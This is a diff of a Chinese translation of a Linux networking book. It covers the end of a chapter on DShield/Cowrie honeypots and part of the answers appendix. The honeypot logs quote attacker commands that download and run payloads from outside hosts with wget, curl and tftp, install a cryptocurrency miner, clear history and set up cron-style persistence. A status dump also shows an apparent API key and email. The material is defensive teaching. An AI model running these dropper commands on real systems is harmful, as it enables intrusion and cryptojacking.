- -9. 最后一个屏幕重新启动主机,并通知您实际的 SSH 服务将更改到不同的端口。 - -![Figure 14.12 – Final installation screen](img/B16336_14_012.jpg) - -图 14.12 -最终安装画面 - -重启后,检查蜜罐状态。 注意:传感器安装在`/srv/dshield`: - -```sh -$ sudo /srv/dshield/status.sh -[sudo] password for hp01: -######### -### -### DShield Sensor Configuration and Status Summary -### -######### -Current Time/Date: 2021-07-16 15:27:00 -API Key configuration ok -Your software is up to date. -Honeypot Version: 87 -###### Configuration Summary ###### -E-mail : rob@coherentsecurity.com -API Key: 4BVqN8vIEDjWxZUMziiqfQ== -User-ID: 948537238 -My Internal IP: 192.168.122.169 -My External IP: 99.254.226.217 -###### Are My Reports Received? ###### -Last 404/Web Logs Received: -Last SSH/Telnet Log Received: -Last Firewall Log Received: 2014-03-05 05:35:02 -###### Are the submit scripts running? -Looks like you have not run the firewall log submit script yet. -###### Checking various files -OK: /var/log/dshield.log -OK: /etc/cron.d/dshield -OK: /etc/dshield.ini -OK: /srv/cowrie/cowrie.cfg -OK: /etc/rsyslog.d/dshield.conf -OK: firewall rules -ERROR: webserver not exposed. check network firewall -``` - -另外,为了确保提交了报告,在一两个小时后检查[https://isc.sans.edu/myreports.html](https://isc.sans.edu/myreports.html)(您需要登录)。 - -在状态检查中显示的错误是这台主机还没有上网-这将是我们的下一步。 在我的例子中,我将把它放在一个 DMZ 中,入站访问只访问端口`22/tcp`、`80/tcp`和`443/tcp`。 完成这个更改后,我们的状态检查现在通过: - -```sh -###### Checking various files -OK: /var/log/dshield.log -OK: /etc/cron.d/dshield -OK: /etc/dshield.ini -OK: /srv/cowrie/cowrie.cfg -OK: /etc/rsyslog.d/dshield.conf -OK: firewall rules -OK: webserver exposed -``` - -当浏览器被指向蜜罐的地址时,他们会看到: - -![Figure 14.13 – ISC web honeypot as seen from a browser](img/B16336_14_013.jpg) - -图 14.13 -从浏览器中看到的 ISC 网络蜜罐 - -在蜜罐服务器本身上,您可以看到各种登录会话,因为攻击者获得了访问假 SSH 和 Telnet 服务器的权限。 在`/srv/cowrie/var/log/cowrie`中,文件为`cowrie.json`和`cowrie.log`(以及前几天的日期版本): - -```sh -$ pwd -/srv/cowrie/var/log/cowrie -$ ls -cowrie.json cowrie.json.2021-07-18 cowrie.log.2021-07-17 -cowrie.json.2021-07-16 cowrie.log cowrie.log.2021-07-18 -cowrie.json.2021-07-17 cowrie.log.2021-07-16 -``` - -当然,`JSON`文件的格式是为了让您与代码一起使用。 例如,Python 脚本可以获取信息并将其提供给 SIEM 或另一个“下一阶段”的防御工具。 - -但是文本文件很容易阅读—您可以使用`more`或`less`(Linux 中两个常见的文本查看应用)打开它。 让我们看一些感兴趣的日志条目。 - -下面的代码块显示了开始一个新的会话—注意协议和源 IP 都在日志条目中。 在 SSH 会话中,你还会在日志中看到所有不同的 SSH 加密参数: - -```sh -2021-07-19T00:04:26.774752Z [cowrie.telnet.factory.HoneyPotTelnetFactory] New co -nnection: 27.213.102.95:40579 (192.168.126.20:2223) [session: 3077d7bc231f] -2021-07-19T04:04:20.916128Z [cowrie.telnet.factory.HoneyPotTelnetFactory] New co -nnection: 116.30.7.45:36673 (192.168.126.20:2223) [session: 18b3361c21c2] -2021-07-19T04:20:01.652509Z [cowrie.ssh.factory.CowrieSSHFactory] New connection -: 103.203.177.10:62236 (192.168.126.20:2222) [session: 5435625fd3c2] -``` - -我们还可以查找各种攻击者试图运行的命令。 在这些例子中,他们试图下载额外的 Linux 工具,因为蜜罐似乎缺少一些,或可能一些恶意软件持续运行: - -```sh -2021-07-19T02:31:55.443537Z [SSHChannel session (0) on SSHService b'ssh-connection' on HoneyPotSSHTransport,5,141.98.10.56] Command found: wget http://142.93.105.28/a -2021-07-17T11:44:11.929645Z [CowrieTelnetTransport,4,58.253.13.80] CMD: cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /; rm -rf i; wget http://58.253.13.80:60232/i; curl -O http://58.253.13.80:60232/i; /bin/busybox wget http://58.253.13.80:60232/i; chmod 777 i || (cp /bin/ls ii;cat i>ii;rm i;cp ii i;rm ii); ./i; echo -e '\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64' -2021-07-18T07:12:02.082679Z [SSHChannel session (0) on SSHService b'ssh-connection' on HoneyPotSSHTransport,33,209.141.53.60] executing command "b'cd /tmp || cd - /var/run || cd /mnt || cd /root || cd /; wget http://205.185.126.121/8UsA.sh; curl -O http://205.185.126.121/8UsA.sh; chmod 777 8UsA.sh; sh 8UsA.sh; tftp 205.185.126.121 -c get t8UsA.sh; chmod 777 t8UsA.sh; sh t8UsA.sh; tftp -r t8UsA2.sh -g 205.185.126.121; chmod 777 t8UsA2.sh; sh t8UsA2.sh; ftpget -v -u anonymous -p -anonymous -P 21 205.185.126.121 8UsA1.sh 8UsA1.sh; sh 8UsA1.sh; rm -rf 8UsA.sh t8UsA.sh t8UsA2.sh 8UsA1.sh; rm -rf *'" -``` - -注意,第一个攻击者在末尾以十六进制形式发送了一个 ASCII 字符串`'\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64'`,即“connected”。 这可能是为了躲避入侵防御。 Base64 编码是您将在蜜罐日志中看到的另一种常见的规避技术。 - -第二个攻击者有一系列`rm`命令,用于在他们完成目标后清理他们的各种工作文件。 - -请注意,您在 SSH 日志中可能看到的另一件事情是语法错误。 通常这些都是来自测试较差的脚本,但一旦更频繁地建立会话,您将看到一个真正的人在敲击键盘,因此您可以从任何错误中了解他们的技能水平(或他们所在时区的深夜)。 - -在下面这些例子中,攻击者试图下载加密货币矿工应用,将他们新入侵的 Linux 主机添加到他们的加密货币挖掘“农场”: - -```sh -2021-07-19T02:31:55.439658Z [SSHChannel session (0) on SSHService b'ssh-connection' on HoneyPotSSHTransport,5,141.98.10.56] executing command "b'curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7 bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj; wget http://142.93.105.28/a; chmod 777 a; ./a; rm -rfa ; history -c'" -2021-07-19T04:28:49.356339Z [SSHChannel session (0) on SSHService b'ssh-connection' on HoneyPotSSHTransport,9,142.93.97.193] executing command "b'curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7 bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj; wget http://142.93.105.28/a; chmod 777 a; ./a; rm -rfa; history -c'" -``` - -注意,它们都在它们的命令中添加了一个`history –c`附录,该附录清除了当前会话的交互历史,以隐藏攻击者的活动。 - -在这个例子中,攻击者试图添加一个恶意软件下载到 Linux 调度程序 cron 中,这样他们就可以保持持久性——如果他们的恶意软件被终止或删除,当下一次计划任务到来时,它将被重新下载并重新安装: - -```sh -2021-07-19T04:20:03.262591Z [SSHChannel session (0) on SSHService b'ssh-connection' on HoneyPotSSHTransport,4,103.203.177.10] executing command "b'/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://bestony.club/poll/24eff58f-9d8a-43ae-96de-71c95d9e6805 mode=http dst-path=7wmp0b4s.rsc\\r\\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write'" -``` - -攻击者试图下载的各种文件被收集在`/srv/cowrie/var/lib/cowrie/downloads`目录中。 - -你可以自定义宝贝蜜罐-一些常见的改变,你可能会设在以下地方: - -![](img/B16336_14_Table_04.jpg) - -还剩下什么? 只需在线检查您的 ISC 账户,您感兴趣的链接位于**My account**: - -![Figure 14.14 – ISC honeypot – online reports](img/B16336_14_014.jpg) - -图 14.14 - ISC 蜜罐-在线报告 - -让我们更详细地讨论这些选项: - -![](img/B16336_14_Table_05.jpg) - -在网上,针对您的蜜罐的 SSH 活动被总结在 ISC 门户的**My SSH 报告**下面: - -![Figure 14.15 – SSH honeypot reports](img/B16336_14_015.jpg) - -图 14.15 - SSH 蜜罐报告 - -目前 SSH 合并数据的主要报告涉及到使用的用户 id 和密码: - -![Figure 14.16 – ISC SSH report – Consolidated userids and passwords seen](img/B16336_14_016.jpg) - -图 14.16 - ISC SSH 报告-查看的合并用户 id 和密码 - -所有的活动都会被记录下来,所以我们会不时地看到针对这些攻击数据的研究项目,随着时间的推移,各种报告也会被细化。 - -web 蜜罐与 SSH 蜜罐的配置类似。 对各种攻击的检测在`/srv/www/etc/signatures.xml`文件中更新。 这些会从 Internet 风暴中心的中央服务器定期更新,所以当您可以自己进行本地编辑时,这些更改很可能会在下一次更新中被“击垮”。 - -当然,针对蜜罐的网络活动也都被记录了下来。 本地日志保存在`/srv/www/DB/webserver.sqlite`数据库中(SQLite 格式)。 通过抓取`webpy`字符串,也可以在`/var/log/syslog`中找到本地日志。 - -在示例蜜罐中检测到的各种情况包括以下攻击者,他正在寻找 HNAP 服务。 HNAP 是一个经常攻击的协议,通常是用来控制舰队的 ISP 调制解调器([https://isc.sans.edu/diary/More +在+ HNAP +——+ +是+ % 2 c + + +如何使用+ % 2 c + + +找到+如何/ 17648](https://isc.sans.edu/diary/More+on+HNAP+-+What+is+it%2C+How+to+Use+it%2C+How+to+Find+it/17648)),所以一个 HNAP 妥协会导致牺牲大量的设备: - -```sh -Jul 19 06:03:08 hp01 webpy[5825]: 185.53.90.19 - - [19/Jul/2021 05:34:09] "POST /HNAP1/ HTTP/1.1" 200 – -``` - -同样的攻击者也在探测`goform/webLogin`。 在这个例子中,他们正在测试一个最近常见的 Linksys 路由器的漏洞: - -```sh -Jul 19 06:03:08 hp01 webpy[5825]: 185.53.90.19 - - [19/Jul/2021 05:34:09] "POST /goform/webLogin HTTP/1.1" 200 – -``` - -这个攻击者正在寻找`boa`web 服务器。 这个 web 服务器有一些已知的漏洞,并且被几个不同的联网安全摄像头制造商使用([https://isc.sans.edu/diary/Pentesters+%28and+Attackers%29+Love+Internet+Connected+Security+Cameras%21/21231](https://isc.sans.edu/diary/Pentesters+%28and+Attackers%29+Love+Internet+Connected+Security+Cameras%21/21231))。 不幸的是,`boa`web 服务器项目已经被放弃了,所以不会有任何修复: - -```sh -Jul 19 07:48:01 hp01 webpy[700]: 144.126.212.121 - - [19/Jul/2021 07:28:35] "POST /boaform/admin/formLogin HTTP/1.1" 200 – -``` - -这些活动报告类似地登录在 ISC 门户,在**My 404 reports**下——让我们来看一些。 该攻击者正在寻找 Netgear 路由器,可能正在寻找任何数量的最近的漏洞: - -![Figure 14.17 – ISC 404 report – Attacker looking for vulnerable Netgear services](img/B16336_14_017.jpg) - -图 14.17 - isc404 报告-攻击者寻找易受攻击的 Netgear 服务 - -这一个正在寻找`phpmyadmin`,这是一个常见的 MySQL 数据库的 web 管理门户: - -![Figure 14.18 – ISC 404 report – Attacker looking for vulnerable MySQL web portals](img/B16336_14_018.jpg) - -图 14.18 - ISC 404 报告-攻击者寻找易受攻击的 MySQL 门户网站 - -注意,第一个示例没有 User-Agent 字符串,因此这很可能是一个自动扫描程序。 第二个例子确实有一个 User-Agent 字符串,但老实说,这可能只是伪装; 它可能也是一个自动扫描器寻找可以利用的公共漏洞。 - -现在您应该很好地了解了主要的蜜罐类型是什么,为什么在特定的情况下您可能更喜欢其中一种,以及如何构建每一种。 - -# 总结 - -这结束了我们关于“蜜罐”的讨论,即基于网络的欺骗和延迟攻击者的方法,以及在攻击进行时向防御者发送警报。 您应该对每一种主要类型的蜜罐有一个很好的了解,您可以在哪里最好地部署它们来实现您的目标作为一个防御者,如何建造蜜罐,以及如何保护它们。 我希望您能够很好地掌握这些方法的优点,并计划在您的网络中至少部署其中一些方法! - -这也是这本书的最后一章,所以恭喜你坚持不懈! 我们讨论了在数据中心中以各种方式部署 Linux,重点讨论了这些方法如何帮助网络专业人员。 在每个部分中,我们都试图介绍如何保护每个服务,或者部署该服务的安全影响—通常两者都有。 我希望这本书已经说明了在您自己的网络中使用 Linux 用于某些或所有这些用途的优点,并且您将能够继续选择一个发行版并开始构建! - -愉快的网络(当然是 Linux)! - -# 问题 - -正如我们总结的,这里有一个问题列表,供你测试你对本章材料的知识。 你可以在附录的*评估*部分找到答案: - -1. `portspoof`的文档使用了一个示例,其中所有 65,535 个 TCP 端口都被发送到已安装的蜜罐。 为什么这是个坏主意? -2. 您可以将哪个端口组合伪装成 Windows**活动目录**(**AD**)域控制器? - -# 进一步阅读 - -要了解更多有关这个主题的资料,请查阅以下资源: - -* Portspoof examples: [https://adhdproject.github.io/#!Tools/Annoyance/Portspoof.md](https://adhdproject.github.io/#!Tools/Annoyance/Portspoof.md) - - [https://www.blackhillsinfosec.com/how-to-use-portspoof-cyber-deception/](https://www.blackhillsinfosec.com/how-to-use-portspoof-cyber-deception/) - -* LaBrea 油布蜜罐:[https://labrea.sourceforge.io/labrea-info.html](https://labrea.sourceforge.io/labrea-info.html) -* 在 Microsoft Exchange 配置 Tarpit 蜜罐:[https://social.technet.microsoft.com/wiki/contents/articles/52447.exchange-2016-set-the-tarpit-levels-with-powershell.aspx](https://social.technet.microsoft.com/wiki/contents/articles/52447.exchange-2016-set-the-tarpit-levels-with-powershell.aspx) -* [https://github.com/mayhemiclabs/weblabyrinth](https://github.com/mayhemiclabs/weblabyrinth) -* Thinkst Canary 蜜罐:[https://canary.tools/](https://canary.tools/) -* The Internet Storm Center's DShield Honeypot project: [https://isc.sans.edu/honeypot.html](https://isc.sans.edu/honeypot.html) - - [https://github.com/DShield-ISC/dshield](https://github.com/DShield-ISC/dshield) - -* Strand, J., Asadoorian, P., Donnelly, B., Robish, E., and Galbraith, B.(2017)。 *进攻对策:积极防御的艺术* CreateSpace 独立出版。** \ No newline at end of file diff --git a/docs/linux-net-prof/15.md b/docs/linux-net-prof/15.md deleted file mode 100644 index 166ccddf..00000000 --- a/docs/linux-net-prof/15.md +++ /dev/null @@ -1,364 +0,0 @@ -# 十五、答案 - -在接下来的几页中,我们将回顾这本书中每个章节的所有练习问题,并提供正确的答案。 - -# 第二章-基本 Linux 网络配置和操作-使用本地接口 - -1. A default gateway is a special route, usually denoted as `0.0.0.0/0` (in other binary, this indicates "all networks"). A host always has a local routing table, with an order of precedence. - - 任何直接连接到一个接口的网络首先被处理。 这些路由称为**连接的**或**接口**路由。 - - 路由定义在路由表中。 这些路由可能是您通过`route`命令的`ip`命令添加的。 - - 最后引用缺省路由。 如果发送的流量与已连接的路由或路由表中的路由不匹配,则发送到缺省网关中定义的 IP 地址。 通常,这种设备是一种特殊的路由器或防火墙设备,它通常同时具有一个本地表、静态定义的路由和一个默认网关(在其他几种路由机制中,这些路由机制不在本书的讨论范围内)。 - -2. 对于这个网络,子网掩码是`255.255.255.0`(24 位二进制位)。 广播地址为`192.158.25.255`。 -3. 发送到广播地址的流量被发送到整个子网,并由该子网中的所有主机进行处理。 标准 ARP 请求就是一个例子(我们将在下一章深入讨论)。 -4. 主机地址范围为`192.168.25.1`~`192.168.25.254`。 `0`地址是网络地址,因此不能用于主机。 `255`地址为广播地址。 -5. `nmcli`命令是进行此更改的推荐方法。 例如,要将接口连接有线以太网 1 设置为 100 Mbps/全双工,使用以下命令: - - ```sh - $ sudo nmcli connection modify 'Wired connection 1' 802-3-ethernet.speed 100 - $ sudo nmcli connection modify 'Wired connection 1' 802-3-ethernet.duplex full - ``` - -# 第三章-使用 Linux 和 Linux 工具进行网络诊断 - -1. 你永远不会看到这个。 从网络的角度来看,会话、连接和会话只存在于 TCP 协议中(在 OSI 层 5)。UDP 会话是无状态的-网络没有一种方法来关联一个 UDP 请求到一个 UDP 响应-这一切都必须发生在应用中。 通常,应用会在包数据中包含会话号或序列号(或两者都包含,具体取决于应用)来完成这一任务。 请记住,如果应用以某种方式通过 UDP 维护一个会话,应用就有责任保持它的直线-在主机或网络的第 5 层没有任何东西可以跟踪这一点,就像我们在 TCP 中看到的那样。 -2. If you are troubleshooting network or application issues, this is critical information. If, for instance, you have an application issue that may be network related, understanding which ports that host listens on can be key – for instance, those ports might need to be configured on the host firewall or on some other in-path firewall. - - 从另一个角度来看,如果您看到特定端口上的防火墙错误,例如正在被终止的长时间运行的会话,那么您需要将端口关联回应用。 - - 对于第三个例子,在调查恶意软件时,您可能会看到绑定到发送或监听端口的恶意软件活动。 能够快速诊断这种情况可以使找到其他可能受到该恶意软件影响的站点变得简单得多。 例如,使用 Nmap 可以发现监听特定端口的恶意软件,或者使用防火墙日志可以快速发现在特定端口传输的恶意软件。 恶意软件的一个很好的例子,这将是漏出 DNS 数据端口——在这种情况下,你会寻找防火墙日志条目`tcp/53`或`udp/53`,从内部主机不是 DNS 服务器,或外部主机 DNS 服务器。 在大多数企业环境中,只有 DNS 服务器应该对特定的 internet DNS 转发主机进行 DNS 查询(参见[*第 6 章*](06.html#_idTextAnchor100),*Linux 上的 DNS 服务*,了解更多细节)。 - -3. In a well-run network, the internet firewall will typically have rules in both directions. The inbound set of rules (from the internet to the inside network) will describe which listening ports you might want to allow internet clients to connect to. This is often called an **ingress filter**. - - 在另一个方向,你有一个端口列表,允许在出站方向连接,从内部网络到互联网。 这通常被称为**出口过滤器**。 出口过滤器的目标是允许您希望允许的出站流量,并阻止其他一切。 回到 20 世纪 90 年代或 21 世纪初,人们的反应可能是*我们信任我们的用户。 可悲的是,虽然我们仍然可以信任我们的用户,但我们不能再相信他们不会点击恶意链接,我们也不能相信他们可能带入我们环境的恶意软件。 一个出口过滤器与`deny all`作为其最后的条目和适当的警报通常会提醒管理员恶意软件,不需要的软件安装在桌面或服务器,配置错误的主机或设备,或*我从家里带来*硬件不属于组织的网络。* - -4. Certificates are used to secure many services, and HTTPS (on `tcp/443`) is just the most popular. Certificates are also used to authenticate or secure lots of other services. A short list of the most commonly found ones are shown in the following table (there are **lots** more): - - ![](img/B16336_Assesment_Table_01.jpg) - - 如果证书过期,在最好的情况下,连接到该服务的用户将收到一个错误。 根据他们的浏览器设置,他们可能无法继续。 如果连接是从程序到服务(也就是说,不是浏览器),那么连接可能会出错,这取决于应用的错误处理和日志代码是如何编写的。 - -5. `1024`下的所有端口都是服务器端口,因此需要有管理权限才能在其中任何端口上打开侦听器。 -6. 假设通道宽度为 20 GHz,通道 1、6 和 11 不重叠。 -7. 信道宽度通常会提高性能,这取决于客户端站试图在媒体上做什么。 然而,在 2.4 GHz 频段,只有 11 个通道可用(只有 3 个选择不会产生干扰),增加通道宽度几乎肯定会增加大多数环境的干扰。 在 5 千兆赫频段中有一个更好的机会用于更宽的信道,因为有更多可用的信道。 - -# 第四章- Linux 防火墙 - -1. 希望您会考虑使用 nftables。 虽然 iptables 在未来几年仍将受到支持,但 nftables 的效率更高(cpu 方面),并支持 IPv6。 它在“匹配”流量方面也更加灵活,允许更容易地匹配数据包中的各个字段,以便进一步处理。 -2. An easy method to support central firewall standards (without adding orchestration or configuration management tools into the mix) would be to use `nft` `include` files. These files can be managed in a single location, given meaningful names, then copied out to target servers that match the use case for each of these `include` files. For instance, having an `include` file for web servers, DNS hosts, or DHCP servers is commonly seen. Having a separate `include` file to allow host administration only from a small set of administrative "jump hosts," address ranges, or subnets is another very common use case. - - 然而,即使没有`include`文件,诸如 Terraform、Ansible、Puppet、Chef 或 Salt 等编制工具也可以用来集中管理 Linux 主机和服务的许多方面,包括防火墙。 在这种情况下,最好至少硬编码您正在使用的编排工具所需的访问—如果发现编排工具中的一个简单配置错误删除了对服务器场的所有管理访问,那就太不有趣了。 - -# 第五章- Linux 安全标准与真实的例子 - -1. 可悲的是,在这个时候,美国没有任何联邦隐私立法。 希望这种情况在不久的将来会改变! -2. No, the critical controls are not meant as an audit framework. However, you can certainly be assessed against them. - - 例如,在关键控制 1 中,建议在网络接入中部署 802.1x 认证。 这意味着您的工作站和/或用户帐户对网络进行“身份验证”,身份验证过程指示工作站和用户 id 组合可以访问什么。 虽然这不是一个审计项目(它不讨论特定的设置,甚至不讨论特定的服务或访问),但您是否在基础设施中实现 802.1x 可以在更大的安全计划或项目集中进行评估。 - -3. The first answer to this is that the first check might not be accurate, and a parallax view can be helpful in determining that. For instance, if a change is made but an operating system or application bug means that the configuration change isn't implemented correctly, a second tool to assess the setting can identify this. - - 更重要的是,配置更改和检查通常是在本地主机上进行的,需要逐个主机重复进行。 评估“在线”设置——例如,使用 Nmap 扫描——允许您在几分钟内评估数百个主机。 这不仅节省了时间,而且也是审计人员、渗透测试人员和恶意软件使用的节省时间的方法。 - -# 第六章- Linux 上的 DNS 服务 - -1. DNSSEC 实现了允许“签名”来验证 DNS 响应数据的记录。 它既不加密请求也不加密响应,因此它可以使用标准的 DNS 端口`udp/53`和`tcp/53`进行操作。 DoT 使用 TLS 完全加密 DNS 请求和响应。 因为 DoT 是一个完全不同的协议,它使用端口`tcp/853`。 -2. DoH 的行为类似于 api——请求和响应在带有特定 HTTP 头的 HTTPS 流量中携带。 DoT**统一资源定位器**(**URL**)的默认“着陆”站点为`/dns-query`,由于采用 HTTPS 传输,协议仅使用`tcp/443`。 -3. An internal DNS server would definitely implement recursion and forwarders, to allow the resolution of internet hosts. Usually, auto-registration is enabled, and requests are normally limited to "known" subnets that are within the organization. - - 组织区域的外部 DNS 服务器通常不会实现递归或转发器,而且几乎永远不会实现自动注册。 速率限制几乎总是被实现的。 - -# 第七章:Linux 上的 DHCP 服务 - -1. First, this may be a problem only for the person who called the Helpdesk. Make sure that this is a branch-wide issue. Make sure that the person who called is plugged into the network (or is associated properly if they are wireless). Make sure that they are not working from home; if they're not even in the office, then this isn't likely a problem with your server. - - 我们有一个问题吗?问题完成了,看看你是否可以在远程办公室找到任何东西。 如果局内的广域网链路、VPN 链路、路由器或交换机都不能工作,那么 DHCP 也不能工作。 在深入挖掘 DHCP 端之前,确保您可以 ping 或以其他方式测试每个设备。 - - 接下来,从确保 DHCP 服务器实际工作开始。 检查服务是否正在运行-注意以下`systemctl`命令提供了一些最近的 DHCP 报文信息: - - ```sh - $ systemctl status isc-dhcp-server.service - ● isc-dhcp-server.service - ISC DHCP IPv4 server - Loaded: loaded (/lib/systemd/system/isc-dhcp-server.service; enabled; vend> - Active: active (running) since Fri 2021-03-19 13:52:19 PDT; 2min 4s ago - Docs: man:dhcpd(8) - Main PID: 15085 (dhcpd) - Tasks: 4 (limit: 9335) - Memory: 5.1M - CGroup: /system.slice/isc-dhcp-server.service - └─15085 dhcpd -user dhcpd -group dhcpd -f -4 -pf /run/dhcp-server/> - Mar 19 13:53:29 ubuntu dhcpd[15085]: DHCPDISCOVER from e0:37:17:6b:c1:39 via en> - Mar 19 13:53:29 ubuntu dhcpd[15085]: ICMP Echo reply while lease 192.168.122.14> - …. - ``` - - 此时,您还可以使用`ss`命令进行检查,以查看服务器是否正在监听正确的 UDP 端口。 注意,这并不能验证它实际上是 DHCP 服务器正在监听`port 67/udp`(bootup),但如果它是其他东西,这将是真正奇怪的一天: - - ```sh - $ ss -l | grep -i bootps - udp UNCONN 0 0 0.0.0.0:bootps 0.0.0.0:* - ``` - - 现在,检查 DHCP 服务器今天是否正在分配地址——我们将使用`tail`命令来提取最后几个日志条目。 如果日期不是今天,请注意日期以查看 DHCP 最后一次分配地址的时间。 你可能会从`systemctl`输出中得到这个,但你也可以从`syslog`中得到它: - - ```sh - cat /var/log/syslog | grep DHCP | tail - Mar 19 13:53:29 ubuntu dhcpd[15085]: DHCPDISCOVER from e0:37:17:6b:c1:39 via ens33 - Mar 19 13:53:32 ubuntu dhcpd[15085]: DHCPDISCOVER from e0:37:17:6b:c1:39 via ens33 - Mar 19 13:53:38 ubuntu dhcpd[15085]: DHCPOFFER on 192.168.122.10 to e0:37:17:6b:c1:39 via ens33 - Mar 19 13:53:38 ubuntu dhcpd[15085]: DHCPREQUEST for 192.168.122.130 (192.168.122.1) from e0:37:17:6b:c1:39 via ens33 - Mar 19 13:53:38 ubuntu dhcpd[15085]: DHCPACK on 192.168.122.130 to e0:37:17:6b:c1:39 via ens33 - ``` - - 从这些信息来看,这是否适用于其他远程站点? 是为总公司工作吗? 检查几个不同的子网: - - ```sh - cat /var/log/syslog | grep DHCP | grep "subnet of interest" | tail - ``` - - 如果这只是影响到调用的远程站点,检查其远程路由器上的 DHCP 转发器条目: - - ```sh - # show run | i helper - ip helper-address - ``` - - 检查 DHCP 服务器上的防火墙,确保服务器可以接收 UDP 端口 6。 翻回[*第 4 章*](04.html#_idTextAnchor071),*Linux 防火墙*,如果你需要复习一下如何做到这一点: - - ```sh - # sudo nft list ruleset - ``` - - 您正在寻找允许或拒绝入站`67/udp`(引导)的规则。 - - 至此,您几乎已经检查了所有内容。 现在是时候再次检查办公室里的路由器和交换机是否通电了,以及周末人们是否在办公室里重新布线了。 同样值得再次核实的是,报告问题的人是否真的在办公室。 这可能看起来很奇怪,但也要问问灯是否开着——你会惊讶地发现,人们打电话说网络中断的频率有多高,而实际上他们遇到的是长时间的断电。 - - 如果所有这些都失败了,继续进行问题 2。 您可能在该办公室中有一个非法 DHCP 服务器,而 Helpdesk 可能还没有发现这个问题。 - -2. On any Linux client, get the IP of the DHCP server. There are a few methods for doing this. You could check the `syslog` file: - - ```sh - $ sudo cat /var/log/syslog | grep DHCPACK - Mar 19 12:40:32 ubuntu dhclient[14125]: DHCPACK of 192.168.1.157 from 192.168.1.1 (xid=0xad460843) - ``` - - 或者只是从工作站上的 DHCP 客户端租期文件中转储服务器信息(这随着各种客户端接口更新而更新): - - ```sh - $ cat /var/lib/dhcp/dhclient.leases | grep dhcp-server - option dhcp-server-identifier 192.168.1.1; - option dhcp-server-identifier 192.168.1.1; - ``` - - 最后,您可以在前台更新租约并从那里获取信息。 注意,如果您通过 SSH 连接到客户端,您的地址可能会随着这种方法而改变。 客户端也会在这里显示的最后一行出现“挂起”。 请记住,它是运行在前台的后台 DHCP 客户端进程,因此它不是“挂起”,而是“等待”。 按*Ctrl + C*退出: - - ```sh - $ sudo dhclient –d - Internet Systems Consortium DHCP Client 4.4.1 - Copyright 2004-2018 Internet Systems Consortium. - All rights reserved. - For info, please visit https://www.isc.org/software/dhcp/ - Listening on LPF/ens33/00:0c:29:33:2d:05 - Sending on LPF/ens33/00:0c:29:33:2d:05 - Sending on Socket/fallback - DHCPREQUEST for 192.168.1.157 on ens33 to 255.255.255.255 port 67 (xid=0x7b4191e2) - DHCPACK of 192.168.1.157 from 192.168.1.1 (xid=0xe291417b) - RTNETLINK answers: File exists - bound to 192.168.1.157 -- renewal in 2843 seconds. - ``` - - 或者,如果远程客户端是基于 windows 的,有一个简单的命令来获取 DHCP 服务器地址: - - ```sh - > ipconfig /all | find /i "DHCP Server" - DHCP Server . . . . . . . . . . : 192.168.1.1 - ``` - - 无论您如何获得 DHCP 服务器的 IP 地址,如果您从故障排除中获得的 IP 地址不是您的服务器,那么您就有一个非法 DHCP 问题。 - - 既然我们现在有了 DHCP IP 地址,从受影响的主机快速 ping 它,然后收集非法服务器的 MAC 地址: - - ```sh - $ arp –a | grep "192.168.1.1" - _gateway (192.168.1.1) at 00:1d:7e:3b:73:cb [ether] on ens33 - ``` - - 从 OUI 中,找到问题设备的制造商。 在这种情况下,它是一个 Linksys 家庭路由器。 你可以很容易得到这个从 Wireshark 是的查找网站(https://www.wireshark.org/tools/oui-lookup.html),或者,正如第二章[*【4】【5】,*基本的 Linux 网络配置和操作,使用本地接口* 我有一个脚本托管在 GitHub(*](02.html#_idTextAnchor035)*[https://github.com/robvandenbrink/ouilookup](https://github.com/robvandenbrink/ouilookup))。* - - 现在转到您的交换机(或循环您的网络人员),找出主机连接到哪个交换机端口。 注意,我们只是在寻找 MAC 地址的最后一部分: - - ```sh - # show mac address-table | i 73cb - * 1 001d.7e3b.73cb dynamic 20 F F Gi1/0/7 - ``` - - 此时,您可能希望关闭该端口并开始进行一些电话通话。 当您这样做时,请确保您没有关闭连接整个交换机的端口。 首先检查该端口上的其他 MAC 地址,特别是查看找到的 MAC 地址计数: - - ```sh - # show mac address-table int Gi1/0/7 - ``` - - 同时,检查 LLDP 邻居列表为该端口-它应该告诉你是否有一个交换机: - - ```sh - # show lldp neighbors int g1/0/7 detailed - ``` - - 同时,在该端口上寻找 CDP 邻居,同时也寻找交换机: - - ```sh - # show cdp neighbors int g1/0/7 - ``` - - 如果在那个端口上有一个交换机,连接到那个相邻的交换机,并重复这个过程,直到你找到违规的 DHCP 服务器的端口。 - - 关闭违规端口后,您的用户应该能够重新开始获取 DHCP 地址。 因为你有服务器的 OUI,你的下一步就是让办公室里一个值得信任的人去找一个上面有标签的新盒子。 - -# 第 8 章- Linux 上的证书服务 - -1. The first function is the most important and is most often overlooked. A certificate provides trust and authentication. The fact that the hostname matches either the CN or SAN fields in the certificate provides the authentication needed to start the session. The fact that the certificate is signed by a trusted CA means that the authentication can be trusted by the client. This will be revisited again in the next chapter of this book, [*Chapter 9*](09.html#_idTextAnchor153), *RADIUS Services for Linux*. - - 第二个功能是,证书材料用于为用于后续会话的对称加密的密钥提供一些材料。 但是请注意,当我们讨论其他用例时,许多使用证书的情况根本就不进行会话加密——证书纯粹用于身份验证。 - -2. `PKCS#12`格式通常以`.pfx`或有时`.p12`为后缀,将服务的公共证书与其私钥结合在一起。 这种组合通常需要用于以下情况:正常的安装过程通常有*,让我们从 CSR*开始,但证书是预先存在的,比如通配符。 -3. CT is key in the trust model that is needed for public CAs. Since all certificates are posted publicly, this means that the CT log can be audited for fraudulent certificates. - - 作为附带的好处,这意味着组织可以对发给他们的证书进行审计,而这些证书是未经授权购买给以前未知的服务的。 这有助于遏制*影子 IT*的扩散,即非 IT 部门在正常渠道之外直接购买 IT 服务。 - -4. While the CA is never consulted as certificates are used after they are issued, there are several reasons for 